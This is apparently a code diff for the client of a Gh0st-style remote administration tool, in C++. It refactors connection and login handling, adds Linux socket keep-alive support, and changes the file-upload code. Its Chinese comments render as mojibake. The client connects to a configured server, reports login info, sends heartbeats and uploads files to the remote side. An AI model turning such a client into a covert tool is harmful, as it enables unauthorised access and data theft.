if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort()))
|
||||
{
|
||||
for (int k = 500; !g_bExit && --k; Sleep(10));
|
||||
for (int k = 500; app.m_bIsRunning(&app) && --k; Sleep(10));
|
||||
continue;
|
||||
}
|
||||
//<><D7BC><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
SendLoginInfo(ClientObject, GetTickCount64()-dwTickCount, g_SETTINGS.ClientType());
|
||||
LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings.ClientType());
|
||||
ClientObject->SendLoginInfo(login);
|
||||
|
||||
CKernelManager Manager(ClientObject);
|
||||
bool bIsRun = 0;
|
||||
SAFE_DELETE(Manager);
|
||||
Manager = new CKernelManager(&settings, ClientObject, app.g_hInstance);
|
||||
do
|
||||
{
|
||||
Manager->SendHeartbeat();
|
||||
} while (ClientObject->IsRunning() && ClientObject->IsConnected() && app.m_bIsRunning(&app));
|
||||
while (GetTickCount64() - dwTickCount < 5000 && app.m_bIsRunning(&app))
|
||||
Sleep(200);
|
||||
}
|
||||
if (app.g_bExit == S_CLIENT_EXIT && app.g_hEvent && !app.m_bShared) {
|
||||
BOOL b = SetEvent(app.g_hEvent);
|
||||
Mprintf(">>> [StartClient] Set event: %s %s!\n", EVENT_FINISHED, b ? "succeed" : "failed");
|
||||
|
||||
bIsRun = ClientObject->IsRunning();
|
||||
|
||||
} while (bIsRun && ClientObject->IsConnected() && !g_bExit);
|
||||
while (GetTickCount64() - dwTickCount < 5000 && !g_bExit)
|
||||
Sleep(200);
|
||||
CloseHandle(app.g_hEvent);
|
||||
app.g_hEvent = NULL;
|
||||
}
|
||||
|
||||
Mprintf("StartClient end\n");
|
||||
delete ClientObject;
|
||||
g_bThreadExit = true;
|
||||
SAFE_DELETE(Manager);
|
||||
app.g_bThreadExit = true;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
73
client/ClientDll.h
Normal file
@@ -0,0 +1,73 @@
|
||||
#pragma once
|
||||
|
||||
#include "Common.h"
|
||||
#include "IOCPClient.h"
|
||||
#include <IOSTREAM>
|
||||
#include "LoginServer.h"
|
||||
#include "KernelManager.h"
|
||||
#include <iosfwd>
|
||||
#include <vector>
|
||||
#include <iostream>
|
||||
#include <fstream>
|
||||
#include <sstream>
|
||||
#include <shellapi.h>
|
||||
#include <corecrt_io.h>
|
||||
|
||||
BOOL IsProcessExit();
|
||||
|
||||
typedef BOOL(*IsRunning)(void* thisApp);
|
||||
|
||||
BOOL IsSharedRunning(void* thisApp);
|
||||
|
||||
BOOL IsClientAppRunning(void* thisApp);
|
||||
|
||||
// <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD>ࣺ<EFBFBD><E0A3BA>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>.
|
||||
typedef struct ClientApp
|
||||
{
|
||||
State g_bExit; // Ӧ<>ó<EFBFBD><C3B3><EFBFBD>״̬<D7B4><CCAC>1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 3-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
BOOL g_bThreadExit; // <20><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>״̬
|
||||
HINSTANCE g_hInstance; // <20><><EFBFBD>̾<EFBFBD><CCBE><EFBFBD>
|
||||
CONNECT_ADDRESS* g_Connection; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
HANDLE g_hEvent; // ȫ<><C8AB><EFBFBD>¼<EFBFBD>
|
||||
BOOL m_bShared; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>
|
||||
IsRunning m_bIsRunning; // <20><><EFBFBD><EFBFBD>״̬
|
||||
unsigned m_ID; // Ψһ<CEA8><D2BB>ʶ
|
||||
static int m_nCount; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
static CLock m_Locker;
|
||||
ClientApp(CONNECT_ADDRESS*conn, IsRunning run, BOOL shared=FALSE) {
|
||||
memset(this, 0, sizeof(ClientApp));
|
||||
g_Connection = new CONNECT_ADDRESS(*conn);
|
||||
m_bIsRunning = run;
|
||||
m_bShared = shared;
|
||||
}
|
||||
~ClientApp() {
|
||||
SAFE_DELETE(g_Connection);
|
||||
}
|
||||
ClientApp* SetID(unsigned id) {
|
||||
m_ID = id;
|
||||
return this;
|
||||
}
|
||||
static void AddCount(int n=1) {
|
||||
m_Locker.Lock();
|
||||
m_nCount+=n;
|
||||
m_Locker.Unlock();
|
||||
}
|
||||
static int GetCount() {
|
||||
m_Locker.Lock();
|
||||
int n = m_nCount;
|
||||
m_Locker.Unlock();
|
||||
return n;
|
||||
}
|
||||
static void Wait() {
|
||||
while (GetCount())
|
||||
Sleep(50);
|
||||
}
|
||||
}ClientApp;
|
||||
|
||||
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̣߳<DFB3><CCA3><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>ClientApp
|
||||
DWORD WINAPI StartClient(LPVOID lParam);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̣߳<DFB3><CCA3><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>ClientApp
|
||||
DWORD WINAPI StartClientApp(LPVOID param);
|
||||
@@ -214,8 +214,6 @@
|
||||
<ClInclude Include="VideoCodec.h" />
|
||||
<ClInclude Include="VideoManager.h" />
|
||||
<ClInclude Include="X264Encoder.h" />
|
||||
<ClInclude Include="zconf.h" />
|
||||
<ClInclude Include="zlib.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="Script.rc" />
|
||||
|
||||
@@ -14,8 +14,6 @@
|
||||
|
||||
#include "KernelManager.h"
|
||||
|
||||
extern CONNECT_ADDRESS g_SETTINGS;
|
||||
|
||||
DWORD WINAPI ThreadProc(LPVOID lParam)
|
||||
{
|
||||
THREAD_ARG_LIST ThreadArgList = {0};
|
||||
@@ -30,6 +28,7 @@ template <class Manager, int n> DWORD WINAPI LoopManager(LPVOID lParam)
|
||||
{
|
||||
ThreadInfo *pInfo = (ThreadInfo *)lParam;
|
||||
IOCPClient *ClientObject = pInfo->p;
|
||||
CONNECT_ADDRESS& g_SETTINGS(*(pInfo->conn));
|
||||
if (ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()))
|
||||
{
|
||||
Manager m(ClientObject, n, pInfo->user);
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "FileManager.h"
|
||||
#include <shellapi.h>
|
||||
|
||||
typedef struct
|
||||
{
|
||||
@@ -503,7 +504,7 @@ UINT CFileManager::SendFileData(LPBYTE lpBuffer)
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ļ<EFBFBD>
|
||||
void CFileManager::UploadNext()
|
||||
{
|
||||
list <string>::iterator it = m_UploadList.begin();
|
||||
std::list <std::string>::iterator it = m_UploadList.begin();
|
||||
// ɾ<><C9BE>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_UploadList.erase(it);
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ϴ<EFBFBD><CFB4><EFBFBD><EFBFBD><EFBFBD>
|
||||
@@ -540,7 +541,7 @@ bool CFileManager::UploadToRemote(LPBYTE lpBuffer)
|
||||
m_UploadList.push_back((char *)lpBuffer);
|
||||
}
|
||||
|
||||
list <string>::iterator it = m_UploadList.begin();
|
||||
std::list <std::string>::iterator it = m_UploadList.begin();
|
||||
// <20><><EFBFBD>͵<EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ļ<EFBFBD>
|
||||
SendFileSize((*it).c_str());
|
||||
|
||||
|
||||
@@ -12,7 +12,6 @@ typedef IOCPClient CClientSocket;
|
||||
#include <string>
|
||||
|
||||
#include "Manager.h"
|
||||
using namespace std;
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
@@ -33,7 +32,7 @@ public:
|
||||
CFileManager(CClientSocket *pClient, int h = 0, void* user=nullptr);
|
||||
virtual ~CFileManager();
|
||||
private:
|
||||
list <string> m_UploadList;
|
||||
std::list <std::string> m_UploadList;
|
||||
UINT m_nTransferMode;
|
||||
char m_strCurrentProcessFileName[MAX_PATH]; // <20><>ǰ<EFBFBD><C7B0><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||
__int64 m_nCurrentProcessFileLength; // <20><>ǰ<EFBFBD><C7B0><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>ij<EFBFBD><C4B3><EFBFBD>
|
||||
|
||||
@@ -1,10 +1,22 @@
|
||||
// IOCPClient.cpp: implementation of the IOCPClient class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#ifdef _WIN32
|
||||
#include "stdafx.h"
|
||||
#else
|
||||
#include <netdb.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/tcp.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <netinet/in.h> // For struct sockaddr_in
|
||||
#include <unistd.h> // For close()
|
||||
#include <cstring> // For memset()
|
||||
inline int WSAGetLastError() { return -1; }
|
||||
#define USING_COMPRESS 1
|
||||
#endif
|
||||
#include "IOCPClient.h"
|
||||
#include <IOSTREAM>
|
||||
#include <assert.h>
|
||||
#include <string>
|
||||
#if USING_ZLIB
|
||||
#include "zlib/zlib.h"
|
||||
#define Z_FAILED(p) (Z_OK != (p))
|
||||
@@ -36,26 +48,60 @@
|
||||
#endif
|
||||
#endif
|
||||
#endif
|
||||
#include <assert.h>
|
||||
#include "Manager.h"
|
||||
|
||||
using namespace std;
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
VOID IOCPClient::setManagerCallBack(CManager* Manager)
|
||||
#ifndef _WIN32
|
||||
BOOL SetKeepAliveOptions(int socket, int nKeepAliveSec = 180) {
|
||||
// <20><><EFBFBD><EFBFBD> TCP <20><><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1>
|
||||
int enable = 1;
|
||||
if (setsockopt(socket, SOL_SOCKET, SO_KEEPALIVE, &enable, sizeof(enable)) < 0) {
|
||||
std::cerr << "Failed to enable TCP keep-alive" << std::endl;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD> TCP_KEEPIDLE (3<><33><EFBFBD>ӿ<EFBFBD><D3BF>к<EFBFBD><D0BA><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD> keep-alive <20><>)
|
||||
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPIDLE, &nKeepAliveSec, sizeof(nKeepAliveSec)) < 0) {
|
||||
std::cerr << "Failed to set TCP_KEEPIDLE" << std::endl;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD> TCP_KEEPINTVL (5<><35><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD>)
|
||||
int keepAliveInterval = 5; // 5<><35>
|
||||
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPINTVL, &keepAliveInterval, sizeof(keepAliveInterval)) < 0) {
|
||||
std::cerr << "Failed to set TCP_KEEPINTVL" << std::endl;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD> TCP_KEEPCNT (<28><><EFBFBD><EFBFBD>5<EFBFBD><35>̽<EFBFBD><CCBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD>ӶϿ<D3B6>)
|
||||
int keepAliveProbes = 5;
|
||||
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPCNT, &keepAliveProbes, sizeof(keepAliveProbes)) < 0) {
|
||||
std::cerr << "Failed to set TCP_KEEPCNT" << std::endl;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
std::cout << "TCP keep-alive settings applied successfully" << std::endl;
|
||||
return TRUE;
|
||||
}
|
||||
#endif
|
||||
|
||||
VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess)
|
||||
{
|
||||
m_Manager = Manager;
|
||||
|
||||
m_DataProcess = dataProcess;
|
||||
}
|
||||
|
||||
|
||||
IOCPClient::IOCPClient(bool exit_while_disconnect)
|
||||
IOCPClient::IOCPClient(State&bExit, bool exit_while_disconnect) : g_bExit(bExit)
|
||||
{
|
||||
m_Manager = NULL;
|
||||
#ifdef _WIN32
|
||||
WSADATA wsaData;
|
||||
WSAStartup(MAKEWORD(2, 2), &wsaData);
|
||||
#endif
|
||||
|
||||
m_sClientSocket = INVALID_SOCKET;
|
||||
m_hWorkThread = NULL;
|
||||
@@ -67,7 +113,6 @@ IOCPClient::IOCPClient(bool exit_while_disconnect)
|
||||
m_bIsRunning = TRUE;
|
||||
m_bConnected = FALSE;
|
||||
|
||||
InitializeCriticalSection(&m_cs);
|
||||
m_exit_while_disconnect = exit_while_disconnect;
|
||||
#if USING_CTX
|
||||
m_Cctx = ZSTD_createCCtx();
|
||||
@@ -92,13 +137,13 @@ IOCPClient::~IOCPClient()
|
||||
m_hWorkThread = NULL;
|
||||
}
|
||||
|
||||
#ifdef _WIN32
|
||||
WSACleanup();
|
||||
#endif
|
||||
|
||||
while (S_RUN == m_bWorkThread)
|
||||
Sleep(10);
|
||||
|
||||
DeleteCriticalSection(&m_cs);
|
||||
|
||||
m_bWorkThread = S_END;
|
||||
#if USING_CTX
|
||||
ZSTD_freeCCtx(m_Cctx);
|
||||
@@ -107,8 +152,9 @@ IOCPClient::~IOCPClient()
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡIP<49><50>ַ
|
||||
inline string GetIPAddress(const char *hostName)
|
||||
inline std::string GetIPAddress(const char *hostName)
|
||||
{
|
||||
#ifdef _WIN32
|
||||
struct hostent *host = gethostbyname(hostName);
|
||||
#ifdef _DEBUG
|
||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ: %s.\n", host->h_addrtype == AF_INET ? "IPV4" : "IPV6");
|
||||
@@ -118,6 +164,27 @@ inline string GetIPAddress(const char *hostName)
|
||||
if (host == NULL || host->h_addr_list == NULL)
|
||||
return "";
|
||||
return host->h_addr_list[0] ? inet_ntoa(*(struct in_addr*)host->h_addr_list[0]) : "";
|
||||
#else
|
||||
struct addrinfo hints, * res;
|
||||
memset(&hints, 0, sizeof(hints));
|
||||
hints.ai_family = AF_INET; // IPv4
|
||||
hints.ai_socktype = SOCK_STREAM; // TCP socket
|
||||
|
||||
int status = getaddrinfo(hostName, nullptr, &hints, &res);
|
||||
if (status != 0) {
|
||||
std::cerr << "getaddrinfo failed: " << gai_strerror(status) << std::endl;
|
||||
return "";
|
||||
}
|
||||
|
||||
struct sockaddr_in* addr = reinterpret_cast<struct sockaddr_in*>(res->ai_addr);
|
||||
char ip[INET_ADDRSTRLEN];
|
||||
inet_ntop(AF_INET, &(addr->sin_addr), ip, sizeof(ip));
|
||||
|
||||
std::cout << "IP Address: " << ip << std::endl;
|
||||
|
||||
freeaddrinfo(res); // <20><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD>ͷŵ<CDB7>ַ<EFBFBD><D6B7>Ϣ
|
||||
return ip;
|
||||
#endif
|
||||
}
|
||||
|
||||
BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||
@@ -129,12 +196,13 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
#ifdef _WIN32
|
||||
//<2F><><EFBFBD><EFBFBD>sockaddr_in<69>ṹ Ҳ<><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˵Ľṹ
|
||||
sockaddr_in ServerAddr;
|
||||
ServerAddr.sin_family = AF_INET; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> IP
|
||||
ServerAddr.sin_port = htons(uPort);
|
||||
// <20><>szServerIP<49><50><EFBFBD><EFBFBD><EFBFBD>ֿ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IPת<50><D7AA>
|
||||
string server = ('0' <= szServerIP[0] && szServerIP[0] <= '9')
|
||||
std::string server = ('0' <= szServerIP[0] && szServerIP[0] <= '9')
|
||||
? szServerIP : GetIPAddress(szServerIP);
|
||||
ServerAddr.sin_addr.S_un.S_addr = inet_addr(server.c_str());
|
||||
|
||||
@@ -147,12 +215,42 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
#else
|
||||
sockaddr_in ServerAddr = {};
|
||||
ServerAddr.sin_family = AF_INET; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> IP
|
||||
ServerAddr.sin_port = htons(uPort);
|
||||
std::string server = ('0' <= szServerIP[0] && szServerIP[0] <= '9')
|
||||
? szServerIP : GetIPAddress(szServerIP);
|
||||
|
||||
// <20><>szServerIP<49><50><EFBFBD><EFBFBD><EFBFBD>ֿ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IPת<50><D7AA>
|
||||
// ʹ<><CAB9> inet_pton <20><><EFBFBD><EFBFBD> inet_addr (inet_pton <20><><EFBFBD><EFBFBD>֧<EFBFBD><D6A7> IPv4 <20><> IPv6)
|
||||
if (inet_pton(AF_INET, server.c_str(), &ServerAddr.sin_addr) <= 0) {
|
||||
std::cerr << "Invalid address or address not supported" << std::endl;
|
||||
return false;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D7BD><EFBFBD>
|
||||
m_sClientSocket = socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (m_sClientSocket == -1) {
|
||||
std::cerr << "Failed to create socket" << std::endl;
|
||||
return false;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (connect(m_sClientSocket, (struct sockaddr*)&ServerAddr, sizeof(ServerAddr)) == -1) {
|
||||
std::cerr << "Connection failed" << std::endl;
|
||||
close(m_sClientSocket);
|
||||
m_sClientSocket = -1; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD>Ч
|
||||
return false;
|
||||
}
|
||||
#endif
|
||||
|
||||
const int chOpt = 1; // True
|
||||
// Set KeepAlive <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><>ֹ<EFBFBD><D6B9><EFBFBD><EFBFBD><EFBFBD>˲<EFBFBD><CBB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (setsockopt(m_sClientSocket, SOL_SOCKET, SO_KEEPALIVE,
|
||||
(char *)&chOpt, sizeof(chOpt)) == 0)
|
||||
{
|
||||
#ifdef _WIN32
|
||||
// <20><><EFBFBD>ó<EFBFBD>ʱ<EFBFBD><CAB1>ϸ<EFBFBD><CFB8>Ϣ
|
||||
tcp_keepalive klive;
|
||||
klive.onoff = 1; // <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD>
|
||||
@@ -160,11 +258,20 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||
klive.keepaliveinterval = 1000 * 5; // <20><><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD>Ϊ5<CEAA><35> Resend if No-Reply
|
||||
WSAIoctl(m_sClientSocket, SIO_KEEPALIVE_VALS,&klive,sizeof(tcp_keepalive),
|
||||
NULL, 0,(unsigned long *)&chOpt,0,NULL);
|
||||
#else
|
||||
// <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD>ѡ<EFBFBD><D1A1>
|
||||
SetKeepAliveOptions(m_sClientSocket);
|
||||
#endif
|
||||
}
|
||||
if (m_hWorkThread == NULL){
|
||||
#ifdef _WIN32
|
||||
m_hWorkThread = (HANDLE)CreateThread(NULL, 0,
|
||||
WorkThreadProc,(LPVOID)this, 0, NULL);
|
||||
m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP;
|
||||
#else
|
||||
pthread_t id = 0;
|
||||
m_hWorkThread = (HANDLE)pthread_create(&id, nullptr, (void* (*)(void*))IOCPClient::WorkThreadProc, this);
|
||||
#endif
|
||||
}
|
||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD>ӷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˳ɹ<EFBFBD>.\n");
|
||||
m_bConnected = TRUE;
|
||||
@@ -176,7 +283,7 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
||||
IOCPClient* This = (IOCPClient*)lParam;
|
||||
char* szBuffer = new char[MAX_RECV_BUFFER];
|
||||
fd_set fd;
|
||||
const struct timeval tm = { 2, 0 };
|
||||
struct timeval tm = { 2, 0 };
|
||||
|
||||
while (This->IsRunning()) // û<><C3BB><EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD><EFBFBD>һֱ<D2BB><D6B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѭ<EFBFBD><D1AD><EFBFBD><EFBFBD>
|
||||
{
|
||||
@@ -187,7 +294,11 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
||||
}
|
||||
FD_ZERO(&fd);
|
||||
FD_SET(This->m_sClientSocket, &fd);
|
||||
#ifdef _WIN32
|
||||
int iRet = select(NULL, &fd, NULL, NULL, &tm);
|
||||
#else
|
||||
int iRet = select(This->m_sClientSocket + 1, &fd, NULL, NULL, &tm);
|
||||
#endif
|
||||
if (iRet <= 0)
|
||||
{
|
||||
if (iRet == 0) Sleep(50);
|
||||
@@ -206,21 +317,13 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
||||
szBuffer, MAX_RECV_BUFFER, 0); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (iReceivedLength <= 0)
|
||||
{
|
||||
int a = GetLastError();
|
||||
int a = WSAGetLastError();
|
||||
This->Disconnect(); //<2F><><EFBFBD>մ<EFBFBD><D5B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if(This->m_exit_while_disconnect)
|
||||
break;
|
||||
}else{
|
||||
//<2F><>ȷ<EFBFBD><C8B7><EFBFBD>վ͵<D5BE><CDB5><EFBFBD>OnRead<61><64><EFBFBD><EFBFBD>,ת<><D7AA>OnRead
|
||||
This->OnServerReceiving(szBuffer, iReceivedLength);
|
||||
if (This->m_Manager!=NULL && This->m_Manager->m_bIsDead)
|
||||
{
|
||||
Mprintf("****** Recv bye bye ******\n");
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB>˺<EFBFBD><CBBA><EFBFBD><EFBFBD>ضˣ<D8B6><CBA3><EFBFBD><EFBFBD>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
|
||||
extern BOOL g_bExit;
|
||||
g_bExit = This->m_Manager->m_bIsDead;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -285,8 +388,8 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
|
||||
|
||||
//<2F><>ѹ<EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݺͳ<DDBA><CDB3>ȴ<EFBFBD><C8B4>ݸ<EFBFBD><DDB8><EFBFBD><EFBFBD><EFBFBD>Manager<65><72><EFBFBD>д<EFBFBD><D0B4><EFBFBD> ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD>̬
|
||||
//<2F><><EFBFBD><EFBFBD>m_pManager<65>е<EFBFBD><D0B5><EFBFBD><EFBFBD>һ<E0B2BB><D2BB><EFBFBD><EFBFBD><EFBFBD>ɵ<EFBFBD><C9B5>õ<EFBFBD>OnReceive<76><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
|
||||
if (m_Manager)
|
||||
m_Manager->OnReceive((PBYTE)m_DeCompressedBuffer.GetBuffer(0),
|
||||
if (m_DataProcess)
|
||||
m_DataProcess(m_Manager, (PBYTE)m_DeCompressedBuffer.GetBuffer(0),
|
||||
m_DeCompressedBuffer.GetBufferLength());
|
||||
}
|
||||
else{
|
||||
|
||||
@@ -9,17 +9,16 @@
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#ifdef _WIN32
|
||||
#include "stdafx.h"
|
||||
#include <WinSock2.h>
|
||||
#include <Windows.h>
|
||||
#include <MSTcpIP.h>
|
||||
#include "Buffer.h"
|
||||
#include "Manager.h"
|
||||
|
||||
#if USING_CTX
|
||||
#include "zstd/zstd.h"
|
||||
#pragma comment(lib,"ws2_32.lib")
|
||||
#endif
|
||||
|
||||
#pragma comment(lib,"ws2_32.lib")
|
||||
#include "Buffer.h"
|
||||
#include "common/commands.h"
|
||||
#include "zstd/zstd.h"
|
||||
|
||||
#define MAX_RECV_BUFFER 1024*32
|
||||
#define MAX_SEND_BUFFER 1024*32
|
||||
@@ -28,10 +27,41 @@
|
||||
|
||||
enum { S_STOP = 0, S_RUN, S_END };
|
||||
|
||||
typedef int (*DataProcessCB)(void* userData, PBYTE szBuffer, ULONG ulLength);
|
||||
|
||||
class IOCPManager {
|
||||
public:
|
||||
virtual ~IOCPManager() {}
|
||||
virtual BOOL IsAlive() const { return TRUE; }
|
||||
virtual BOOL IsReady() const { return TRUE; }
|
||||
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) { }
|
||||
|
||||
static int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) {
|
||||
IOCPManager* m_Manager = (IOCPManager*)user;
|
||||
if (nullptr == m_Manager) {
|
||||
Mprintf("IOCPManager DataProcess on NULL ptr: %d\n", unsigned(szBuffer[0]));
|
||||
return FALSE;
|
||||
}
|
||||
// <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D7BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ܴ<EFBFBD><DCB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, 1<><31><EFBFBD>㹻<EFBFBD><E3B9BB>
|
||||
int i = 0;
|
||||
for (; i < 1000 && !m_Manager->IsReady(); ++i)
|
||||
Sleep(1);
|
||||
if (!m_Manager->IsReady()) {
|
||||
Mprintf("IOCPManager DataProcess is NOT ready: %d\n", unsigned(szBuffer[0]));
|
||||
return FALSE;
|
||||
}
|
||||
if (i) {
|
||||
Mprintf("IOCPManager DataProcess wait for %dms: %d\n", i, unsigned(szBuffer[0]));
|
||||
}
|
||||
m_Manager->OnReceive(szBuffer, ulLength);
|
||||
return TRUE;
|
||||
}
|
||||
};
|
||||
|
||||
class IOCPClient
|
||||
{
|
||||
public:
|
||||
IOCPClient(bool exit_while_disconnect = false);
|
||||
IOCPClient(State& bExit, bool exit_while_disconnect = false);
|
||||
virtual ~IOCPClient();
|
||||
SOCKET m_sClientSocket;
|
||||
CBuffer m_CompressedBuffer;
|
||||
@@ -41,9 +71,17 @@ public:
|
||||
ZSTD_CCtx* m_Cctx; // ѹ<><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
ZSTD_DCtx* m_Dctx; // <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
#endif
|
||||
int SendLoginInfo(const LOGIN_INFOR& logInfo) {
|
||||
